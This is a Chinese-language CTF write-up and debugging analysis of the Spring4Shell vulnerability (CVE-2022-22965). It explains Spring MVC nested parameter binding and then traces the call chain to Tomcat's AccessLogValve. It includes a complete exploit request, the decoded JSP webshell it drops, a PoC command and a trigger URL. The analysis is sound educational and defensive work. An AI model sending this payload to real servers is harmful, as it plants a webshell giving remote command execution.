Spring远程命令执行漏洞(CVE-2022-22965)

before all:继续我们java的学习。

看到[NUSTCTF 2022 新生赛]Ezjava,新生赛的题,拿来看看,然后复现分析一下CVE-2022-22965

前置知识

springboot的MVC

Spring Boot的MVC(Model-View-Controller)是一种Web应用程序开发模式,它将应用程序分为三个主要的组件:模型(Model)、视图(View)和控制器(Controller)。

  1. 模型(Model)是应用程序的数据层,它负责处理数据的存储、检索和操作。在Spring Boot中,模型可以是实体类、数据库对象或其他用于表示数据的类。
  2. 视图(View)是应用程序的用户界面,它负责展示模型中的数据给用户。在Spring Boot中,视图可以是HTML页面、JSON、XML或其他类型的数据格式。
  3. 控制器(Controller)是应用程序的逻辑层,它负责处理用户请求并将其转发给适当的模型和视图。在Spring Boot中,控制器使用注解来标识处理请求的方法,并可以通过方法参数来接收请求参数、路径变量等。

使用示例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.example.demo3.controller;

import com.example.demo3.model.User;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;

@Controller
public class UserController {

@GetMapping("/login")
public String loginPage() {
return "login";
}

@PostMapping("/login")
public String login(@RequestParam("username") String username, @RequestParam("password") String password, Model model) {
model.addAttribute("username", username);
model.addAttribute("password", password);
return "success";
}

@GetMapping("/users/{id}")
public String getUser(@PathVariable("id") int id, Model model) {
model.addAttribute("userId", id);
return "user";
}

@PostMapping("/addUser")
public String addUser(@RequestBody User user, Model model) {
model.addAttribute("user", user);
return "success";
}

@PostMapping("/updateUser")
public String updateUser(@ModelAttribute("user") User user, Model model) {
model.addAttribute("user", user);
return "success";
}

@PostMapping("/saveUsername")
public String saveUsername(@SessionAttribute("username") String username, Model model) {
model.addAttribute("username", username);
return "success";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.example.demo3.model;

public class User {
private String username;
private String password;

// 默认构造方法
public User() {
}

// 带参数的构造方法
public User(String username, String password) {
this.username = username;
this.password = password;
}

// getter和setter方法
public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}
}

MVC的参数绑定

SpringMVC参数绑定是指将客户端请求中的参数值绑定到控制器方法的参数上。

SpringMVC提供了多种方式来实现参数绑定:

  1. 请求参数绑定:可以通过在控制器方法的参数前加上@RequestParam注解来实现请求参数绑定。例如,@RequestParam("username") String username将会将名为”username”的请求参数的值绑定到String类型的username参数上。
  2. 路径变量绑定:可以通过在控制器方法的参数前加上@PathVariable注解来实现路径变量绑定。例如,@PathVariable("id") int id将会将路径中的变量值绑定到int类型的id参数上。
  3. 请求体绑定:可以通过在控制器方法的参数前加上@RequestBody注解来实现请求体绑定。例如,@RequestBody User user将会将请求体中的JSON或XML数据绑定到User类型的user参数上。
  4. 模型属性绑定:可以通过在控制器方法的参数前加上@ModelAttribute注解来实现模型属性绑定。例如,@ModelAttribute("user") User user将会将名为”user”的模型属性的值绑定到User类型的user参数上。
  5. HttpSession绑定:可以通过在控制器方法的参数前加上@SessionAttribute注解来实现HttpSession的属性绑定。例如,@SessionAttribute("username") String username将会将名为”username”的HttpSession属性的值绑定到String类型的username参数上。

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。

1
2
3
4
5
6
7
8
9
10
11
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}
1
2
3
4
5
6
7
8
9
10
11
public class Department {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

当请求为/addUser?name=1azy_fish&department.name=Asuri时,public String addUser(User user)中的user参数内容如下:

可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。

实际上department.name的绑定是Spring通过如下的调用链实现的:

1
2
User.getDepartment()
Department.setName()

详细的解释就是:请求参数名为a.b.c.d,对应Controller方法入参为P,则有以下的调用链:

1
2
3
4
P.getA()
A.getB()
B.getC()
C.setD() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)

Java Bean PropertyDescriptor

PropertyDescriptor是Java中用于描述Java Bean属性的类。它提供了访问和操作Java Bean属性的方法。

PropertyDescriptor类通常与Java反射机制一起使用,用于获取和设置Java Bean对象的属性值。它通过提供属性的读取方法(getter)和写入方法(setter)来描述属性。

以下是PropertyDescriptor的常用方法:

  1. public Method getReadMethod(): 获取属性的读取方法(getter)。
  2. public Method getWriteMethod(): 获取属性的写入方法(setter)。
  3. public Class<?> getPropertyType(): 获取属性的类型。
  4. public String getName(): 获取属性的名称。
  5. public void setValue(Object obj, Object value): 使用属性的写入方法设置给定对象的属性值。
  6. public Object getValue(Object obj): 使用属性的读取方法获取给定对象的属性值。

使用PropertyDescriptor,可以通过反射机制获取属性的读取方法和写入方法,并使用这些方法读取或设置属性的值。这对于实现数据绑定、属性访问和操作等功能非常有用。

以下是一个简单示例,演示如何使用PropertyDescriptor获取和设置Java Bean属性的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.example.demo3.model;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws Exception {
User user = new User();

// 获取 name 属性的 PropertyDescriptor
PropertyDescriptor nameDescriptor = new PropertyDescriptor("name", User.class);

// 使用 PropertyDescriptor 设置 name 属性值
Method setNameMethod = nameDescriptor.getWriteMethod();
setNameMethod.invoke(user, "John Doe");

// 获取 department 属性的 PropertyDescriptor
PropertyDescriptor departmentDescriptor = new PropertyDescriptor("department", User.class);

// 创建 Department 对象
Department department = new Department();
department.setName("IT");
department.setLocation("New York");

// 使用 PropertyDescriptor 设置 department 属性值
Method setDepartmentMethod = departmentDescriptor.getWriteMethod();
setDepartmentMethod.invoke(user, department);

// 使用 PropertyDescriptor 获取 name 属性值
Method getNameMethod = nameDescriptor.getReadMethod();
String name = (String) getNameMethod.invoke(user);

// 使用 PropertyDescriptor 获取 department 属性值
Method getDepartmentMethod = departmentDescriptor.getReadMethod();
Department userDepartment = (Department) getDepartmentMethod.invoke(user);

System.out.println("Name: " + name);
System.out.println("Department: " + userDepartment.getName() + " - " + userDepartment.getLocation());
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.demo3.model;

public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}

上述示例中,我们通过PropertyDescriptor获取了Person对象的nameage属性的读取方法和写入方法,并使用这些方法设置和获取属性的值。

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

Spring BeanWrapperImpl

BeanWrapperImpl是Spring框架中的一个类,用于封装和操作Java Bean对象的属性值。它是BeanWrapper接口的默认实现类,提供了许多方便的方法来访问和修改Java Bean对象的属性。

以下是BeanWrapperImpl类的一些重要方法和功能:

  1. public void setPropertyValue(String propertyName, Object value): 设置Java Bean对象的指定属性的值。
  2. public Object getPropertyValue(String propertyName): 获取Java Bean对象的指定属性的值。
  3. public PropertyDescriptor[] getPropertyDescriptors(): 获取Java Bean对象的所有属性描述符。
  4. public PropertyDescriptor getPropertyDescriptor(String propertyName): 获取Java Bean对象的指定属性的属性描述符。
  5. public void setConversionService(ConversionService conversionService): 设置用于属性值类型转换的ConversionService。
  6. public void setAutoGrowNestedPaths(boolean autoGrowNestedPaths): 设置是否自动增长嵌套路径。
  7. public void setAutoGrowCollectionLimit(int autoGrowCollectionLimit): 设置自动增长集合的限制。
  8. public void setValidator(Validator validator): 设置用于验证属性值的Validator。

BeanWrapperImpl还提供了许多其他有用的方法,用于处理Java Bean对象的属性值,例如类型转换、嵌套属性路径处理、集合属性的自动增长等。

以下是一个简单示例,演示如何使用BeanWrapperImpl设置和获取Java Bean对象的属性值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class Main {
public static void main(String[] args) {
User user = new User();
BeanWrapper beanWrapper = new BeanWrapperImpl(user);

// 设置属性值
beanWrapper.setPropertyValue("name", "1azy_fish");
beanWrapper.setPropertyValue("department.name", "Asuri");
beanWrapper.setPropertyValue("department.location", "Nan");

// 获取属性值
String name = (String) beanWrapper.getPropertyValue("name");
String departmentName = (String) beanWrapper.getPropertyValue("department.name");
String departmentLocation = (String) beanWrapper.getPropertyValue("department.location");

System.out.println("Name: " + name);
System.out.println("Department Name: " + departmentName);
System.out.println("Department Location: " + departmentLocation);
}
}

在上述示例中,我们创建了一个User对象,并使用BeanWrapperImpl封装了该对象。然后,我们使用BeanWrapperImpl设置和获取User对象的属性值。

运行示例代码将输出以下结果:

这表明我们成功地使用BeanWrapperImpl设置和获取了User对象的属性值,比直接使用PropertyDescriptor要简单很多。

Tomcat AccessLogValve 和 access_log

ccessLogValve是Apache Tomcat服务器的一个日志记录阀门(Valve)。它用于记录HTTP请求和响应的访问日志。

访问日志是服务器记录的关于每个客户端请求的信息,包括请求的URL、请求的时间、客户端IP地址、请求方法、响应状态码等。通过查看访问日志,可以获得有关服务器的许多有用信息,例如网站的访问量、最活跃的页面、客户端IP地址的分布等。

AccessLogValve的配置主要通过Tomcat的server.xml文件完成。在HostContext元素内,可以添加Valve元素来配置AccessLogValve

示例配置,展示如何在Tomcat中配置AccessLogValve

1
2
3
4
5
6
7
<Host name="localhost" appBase="webapps">
<!-- 其他配置 -->

<Valve className="org.apache.catalina.valves.AccessLogValve"
directory="logs" prefix="access_log" suffix=".txt"
pattern="%h %l %u %t &quot;%r&quot; %s %b" />
</Host>

在上述示例中,AccessLogValve的配置位于Host元素内。className属性指定了AccessLogValve类的完全限定名。directory属性指定了日志文件的目录,prefix属性指定了日志文件名的前缀,suffix属性指定了日志文件名的后缀。pattern属性指定了日志记录的格式模式,其中%h表示客户端IP地址,%l表示远程逻辑用户名,%u表示远程用户身份验证的用户名,%t表示请求的时间,%r表示请求的URL和HTTP方法,%s表示响应的状态码,%b表示响应的字节数。

通过以上配置,当Tomcat接收到HTTP请求时,AccessLogValve会将请求的信息按照指定的格式记录到指定的日志文件中。

做题与漏洞复现

复现环境

  • 操作系统:window11
  • JDK:17
  • tomcat: 9.0.6
  • springboot:2.6.3

反编译源代码看看

看到flag在

1
2
3
4
5
6
7
8
9
10
11
12
@RequestMapping({"/addUser1"})
@ResponseBody
public String addUser(User user) throws IOException {
System.out.println(user.getDepartment().getName1());
if (user.getDepartment().getName1().contains("njust") && user.getName().contains("2022")) {
return "flag{1}";
} else {
String var10002 = user.getDepartment().getName1();
File f = new File("../webapps/ROOT/" + var10002 + user.getName() + ".njust.jsp");
return f.exists() ? "flag{2}" : user.getName();
}
}

代码审计:

flag1传参直接拿(GET和POST都可以

?department.name1=njust&name=2022

flag2跑poc——CVE2022_22965_poc.py

1
python CVE2022_22965_poc.py --url http://127.0.0.1:8080/MySpring4Shell_war/addUser1

可以看到/ROOT多了一个后门文件tomcatwar.jsp

访问http://127.0.0.1:8080//tomcatwar.jsp?pwd=j&cmd=calc

成功RCE,直接找就ok

漏洞分析

看大佬的poc,我们可以构造这样的包

1
2
3
4
5
6
7
8
9
10
POST /addUser HTTP/1.1
Host: 127.0.0.1:8080
suffix: %>//
c1: Runtime
c2: <%
DNT: 1,
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

首先,我们构造了这样的参数

1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1;byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:

1
2
3
4
User.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()

那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。

经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessorgetPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

第一轮迭代

进入getPropertyAccessorForPropertyPath(String)方法前:

  • thisUserBeanWrapperImpl包装实例

  • propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern

  • nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern

  • nestedPropertyclass,即本轮迭代需要解析的嵌套参数。

进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImplBeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。

getPropertyAccessorForPropertyPath(String)方法返回后:

  • thisUserBeanWrapperImpl包装实例

  • propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern

  • nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern,作为下一轮迭代的propertyPath

  • nestedPropertyclass,即本轮迭代需要解析的嵌套参数 - nestedPajava.lang.ClassBeanWrapperImpl包装实例,作为下一轮迭代的this

经过第一轮迭代,我们可以得出第一层调用链:

1
2
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现

第二次迭代

module嵌套参数最终通过反射调用java.lang.Class.getModule(),获得返回java.lang.Module实例。

经过第二轮迭代,我们可以得出第二层调用链:

1
2
3
User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现

接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

1
2
3
4
5
6
7
8
9
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValvepattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。而且除了常规的Java代码外,还夹杂了三个特殊片段。有下图AbstractAccessLogValve的源代码参考

不难看出AccessLogValve输出的日志实际内容如下:

1
2
3
4
5
6
7
8
9
10
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//

很明显,这是一个JSP webshell。

然后按照之前的调用方式:

  • suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。
  • directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。
  • prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。
  • fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

利用环境

漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

漏洞利用条件之二,JDK>=1.9。

参考材料